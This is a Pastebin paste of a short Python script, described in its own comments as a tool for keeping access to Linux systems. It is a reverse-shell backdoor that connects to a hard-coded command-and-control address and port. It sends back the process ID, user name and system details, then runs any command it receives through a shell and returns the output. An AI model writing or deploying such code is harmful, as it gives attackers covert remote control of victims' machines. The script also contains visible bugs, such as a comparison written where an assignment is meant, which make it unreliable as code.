Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # Tool for maintaining access to linux system
- import os, sys, socket, subprocess, time
- host = "192.168.1.68"
- port = 31337
- connected = "false"
- # Connect to C&C server
- while connected == "false":
- try:
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((host, port))
- connected == true
- except:
- time.sleep(5.0)
- #information sending can't be in loop
- while True:
- os.dup2(s.fileno(), 0)
- os.dup2(s.fileno(), 1)
- os.dup2(s.fileno(), 2)
- pid = "PID: " + str(os.getpid()) + "\n"
- user = "Current User: " + os.getenv("LOGNAME") + "\n"
- system = "System: " + str(os.uname()) + "\n"
- info = pid + user + system
- s.sendall(info)
- data = str(s.recv(1024))
- p = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
- STDOUT, STDERR = p.communicate()
- s.sendall(STDOUT)
- s.sendall(STDERR)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement